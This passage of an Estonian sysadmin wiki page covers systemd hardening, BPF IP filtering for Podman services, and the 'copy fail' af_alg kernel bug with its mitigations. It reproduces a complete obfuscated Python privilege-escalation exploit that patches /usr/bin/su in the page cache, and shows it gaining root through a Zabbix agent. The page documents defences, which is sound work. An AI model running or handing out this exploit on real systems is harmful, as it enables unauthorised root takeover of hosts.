✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su'&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (arvuti mälu)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (arvuti mälu)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (arvuti mälu)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (plokkseade)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
  plokkseade (füüsiline ese)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
